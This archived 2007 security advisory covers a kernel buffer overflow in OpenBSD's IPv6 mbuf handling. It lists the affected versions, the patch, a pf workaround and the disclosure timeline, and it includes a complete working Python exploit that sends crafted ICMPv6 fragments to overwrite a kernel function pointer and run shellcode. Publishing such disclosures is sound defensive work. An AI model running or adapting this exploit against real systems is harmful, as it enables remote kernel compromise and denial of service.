The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] OpenBSD's IPv6 mbufs Kernel Buffer Overflow


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 15 Mar 2007 11:13:32 +0200
Subject: [UNIX] OpenBSD's IPv6 mbufs Kernel Buffer Overflow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20070315085556.626B05A72@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  OpenBSD's IPv6 mbufs Kernel Buffer Overflow
------------------------------------------------------------------------


SUMMARY

The OpenBSD kernel contains a memory corruption vulnerability in the code 
that handles IPv6 packets. Exploitation of this vulnerability can result 
in:

1) Remote execution of arbitrary code at the kernel level on the 
vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system 
crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented 
packet.

OpenBSD systems using default installations are vulnerable because the 
default pre-compiled kernel binary (GENERIC) has IPv6 enabled and 
OpenBSD's firewall does not filter inbound IPv6 packets in its default 
configuration.

However, in order to exploit a vulnerable system an attacker needs to be 
able to inject fragmented IPv6 packets on the target system's local 
network. This requires direct physical/logical access to the target's 
local network -in which case the attacking system does not need to have a 
working IPv6 stack- or the ability to route or tunnel IPv6 packets to the 
target from a remote network.

DETAILS

Vulnerable Systems:
 * OpenBSD 4.1 prior to Feb. 26th, 2006.
 * OpenBSD 4.0 Current
 * OpenBSD 4.0 Stable
 * OpenBSD 3.9
 * OpenBSD 3.8
 * OpenBSD 3.6
 * OpenBSD 3.1

Solution/Vendor Information/Workaround:
The OpenBSD team has released a "security fix" to correct the mbuf 
problem, it is available as a source code patch for OpenBSD 4.0 and 3.9 
here:  
<ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/common/010_m_dup1.patch>; 
ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/common/010_m_dup1.patch

The patch can also be applied to previous versions of OpenBSD.

OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their 
source code tree and kernel binaries for those versions and the upcoming 
version 4.1 include the fix.

As a work around, users that do not need to process or route IPv6 traffic 
on their systems can block all inbound IPv6 packets using OpenBSD's 
firewall. This can be accomplished by adding the following line to 
/etc/pf.conf:

   block in quick inet6 all

After adding the desired rules to pf.conf it is necessary to load them to 
the running PF using:

   pfctl -f /etc/pf.conf

To enable PF use:
   pfctl -e -f /etc/pf.conf

To check the status of PF and list all loaded rules use:
   pfctl -s rules

Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration and 
use of OpenBSD's firewall capabilities.

Technical Description - Exploit/Concept Code:
The vulnerability is due to improper handling of kernel memory buffers 
using mbuf structures. The vulnerability is triggered by OpenBSD-specific 
code at the mbuf layer and developed to accommodate the processing of IPv6 
protocol packets.

By sending fragmented ICMPv6 packets an attacker can trigger an overflow 
of mbuf kernel memory structures resulting either in remote execution of 
arbitrary code in kernel mode or a kernel panic and subsequent system 
crash (a remote denial of service). Exploitation is accomplished by 
either:

1) Gaining control of execution flow by overwriting a function pointer, 
or;
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to a 
user-space heap overflow.

The overflowed structure is an mbuf, the structure used to store network 
packets in kernel memory.

This is the definition (/sys/mbuf.h):
---------------------
struct mbuf {
         struct  m_hdr m_hdr;
         union {
                 struct {
                         struct  pkthdr MH_pkthdr;       /* M_PKTHDR set 
*/
                         union {
                                 struct  m_ext MH_ext;   /* M_EXT set */
                                 char    MH_databuf[MHLEN];
                         } MH_dat;
                 } MH;
                 char    M_databuf[MLEN];                /* !M_PKTHDR, 
!M_EXT */
         } M_dat;
};
---------------------

We can see that the mbuf contains another structure of type m_ext 
(/sys/mbuf.h):

---------------------
/* description of external storage mapped into mbuf, valid if M_EXT set */
 struct m_ext {
         caddr_t ext_buf;                /* start of buffer */
                                         /* free routine if not the usual 
*/
         void    (*ext_free)(caddr_t, u_int, void *);
         void    *ext_arg;               /* argument for ext_free */
         u_int   ext_size;               /* size of buffer, for ext_free 
*/
         int     ext_type;
         struct mbuf *ext_nextref;
         struct mbuf *ext_prevref;
#ifdef DEBUG
         const char *ext_ofile;
         const char *ext_nfile;
         int ext_oline;
        int ext_nline;
#endif
 };
---------------------

This second structure contains the variable ext_free, a pointer to a 
function called when the mbuf is freed. Overwriting a mbuf with a crafted 
ICMP v6 packet (or any type of IPv6 packet), an attacker can control the 
flow of execution of the OpenBSD Kernel when the m_freem() function is 
called on the overflowed packet from any place on the network stack.

Also, since the mbufs are stored on a linked list, another variant of the 
attack is to overwrite the ext_nextref and ext_prevref pointers to cause a 
32 bit write on a controlled area of the kernel memory, like a user-mode 
heap overflow exploit.

The following is a simple working proof-of-concept program in Python that 
demonstrates remote code execution on vulnerable systems. It is necessary 
to set the target's system Ethernet address in the program to use it.

The PoC executes the shellcode (int 3) and returns. It overwrites the 
ext_free() function pointer on the mbuf and forces a m_freem() on the 
overflowed packet.

The Impacket library is used to craft and send packets ( 
<http://oss.coresecurity.com/projects/impacket.html>; 
http://oss.coresecurity.com/projects/impacket.html or download from Debian 
repositories)

Currently, only systems supporting raw sockets and the PF_PACKET family 
can run the included proof-of-concept code.

Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30"

To use the code to test a custom machine you will need to:
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the 
code. To find a proper trampoline value use the following command: 
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

The exploit should stop on an int 3 and pressing "c" in ddb the kernel 
will continue normally.

--------------------icmp.py---------------------
#
# Description:
#   OpenBSD ICMPv6 fragment remote execution PoC
#
# Author:
#   Alfredo Ortega
#   Mario Vilas
#
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved

from impacket import ImpactPacket
import struct
import socket
import time

class BSD_ICMPv6_Remote_BO:
    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
    def Run(self):
        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
        self.s.bind(('eth0',0x86dd))
        sourceIP = 
'\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # 
source address
        destIP   = 
'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # 
destination address Multicast Link-level
        firstFragment, secondFragment = 
self.buildOpenBSDPackets(sourceIP,destIP)
        validIcmp = self.buildValidICMPPacket(sourceIP,destIP)

        for i in range(100): # fill mbufs
                self.sendpacket(firstFragment)
                self.sendpacket(validIcmp)
                time.sleep(0.01)
        for i in range(2): # Number of overflow packets to send. Increase 
if exploit is not reliable
                self.sendpacket(secondFragment)
                time.sleep(0.1)
                self.sendpacket(firstFragment)
                self.sendpacket(validIcmp)
                time.sleep(0.1)

    def sendpacket(self, data):
        ipe = ImpactPacket.Ethernet()
        ipe.set_ether_dhost(self.MACADDRESS)
        ipd = ImpactPacket.Data(data)
        ipd.ethertype = 0x86dd  # Ethertype for IPv6
        ipe.contains(ipd)
        p = ipe.get_packet()
        self.s.send(p)

    def buildOpenBSDPackets(self,sourceIP,destIP):
        HopByHopLenght= 1

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header 
(00: Hop by Hop)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + 
More fragments: yes
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        IPv6HopByHopHeader  = ''
        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # 
next header (0x3A: ICMP)
        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # 
Hdr Ext Len (frutaaaaaaa :D )
        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # 
Options

        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
        print longitud
        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic 
class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x00'                            # next header (2c: 
Fragmentation)
        IPv6Packet += '\x40'                            # hop limit

        IPv6Packet += sourceIP
        IPv6Packet += destIP

        firstFragment = 
IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)

        self.ShellCode =  ''
        self.ShellCode += '\xcc' # int 3
        self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP 
and ret

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xfb\x4e'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
        # Start of the next mfub (we land here):
        ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump 
backwards
        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'
        # mbuf+0x20:
        trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with 
"objdump -d /bsd | grep esi | grep jmp")
        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'
        longitud = len(ICMPv6Packet)

        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic 
class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x2c'                            # next header (2c: 
Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header 
(3A: icmpV6)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + 
More fragments:no
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet

        return firstFragment, secondFragment


    def buildValidICMPPacket(self,sourceIP,destIP):

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xcb\xc4'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
        ICMPv6Packet += 'T'*1232

        longitud = len(ICMPv6Packet)

        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic 
class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x3A'                            # next header (2c: 
Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        icmpPacket = IPv6Packet+ICMPv6Packet

        return  icmpPacket


attack = BSD_ICMPv6_Remote_BO()
attack.Run()
--------------------icmp.py---------------------

Vendors contacted:
OpenBSD.org
 * 2007-02-20: First notification sent by Core.
 * 2007-02-20: Acknowledgement of first notification received from the 
OpenBSD team.
 * 2007-02-21: Core sends draft advisory and proof of concept code that 
demonstrates remote kernel panic.
 * 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD 
branch of source tree.
 * 2007-02-26: OpenBSD team communicates that the issue is specific to 
OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to 
bugs that lead to a remote denial of service attack, as opposed to bugs 
that lead to remote control of vulnerable systems to avoid oversimplifying 
("pablumfication") the use of the term.
 * 2007-02-26: Core email sent to OpenBSD team explaining that Core 
considers a remote denial of service a security issue and therefore does 
use the term "vulnerability" to refer to it and that although remote code 
execution could not be proved in this specific case, the possibility 
should not be discarded. Core requests details about the bug and if 
possible an analysis of why the OpenBSD team may or may not consider the 
bug exploitable for remote code execution.
 * 2007-02-28: OpenBSD team indicates that the bug results in corruption 
of mbuf chains and that only IPv6 code uses that mbuf code, there is no 
user data in the mbuf header fields that become corrupted and it would be 
surprising to be able to run arbitrary code using a bug so deep in the 
mbuf code. The bug simply leads to corruption of the mbuf chain.
 * 2007-03-05: Core develops proof of concept code that demonstrates 
remote code execution in the kernel context by exploiting the mbuf 
overflow.
 * 2007-03-05: OpenBSD team notified of PoC availability.
 * 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree 
branches and releases a "reliability fix" notice on the project's website.
 * 2007-03-08: Core sends final draft advisory to OpenBSD requesting 
comments and official vendor fix/patch information.
 * 2007-03-09: OpenBSD team changes notice on the project's website to 
"security fix" and indicates that Core's advisory should reflect the 
requirement of IPv6 connectivity for a successful attack from outside of 
the local network.
 * 2007-03-12: Advisory updates with fix and workaround information and 
with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" 
section of the advisory is adjusted to reflect more accurately the nature 
of the communications with the OpenBSD team regarding this issue.
 * 2007-03-12: Workaround recommendations revisited. It is not yet 
conclusive that the "scrub in inet6" directive will prevent exploitation. 
It effectively stops the bug from triggering according to Core's tests but 
OpenBSD's source code inspection does not provide a clear understanding of 
why that happens. It could just be that the attack traffic is malformed in 
some other way that is not meaningful for exploiting the vulnerability (an 
error in the exploit code rather than an effective workaround?). The 
"scrub" workaround recommendation is removed from the advisory as 
precaution.
 * 2007-03-13: Core releases this advisory.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:advisories@coresecurity.com.> 
CORE Security Technologies Advisories.
The original article can be found at:  
<http://www.coresecurity.com/?action=item&id=1703>; 
http://www.coresecurity.com/?action=item&id=1703




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру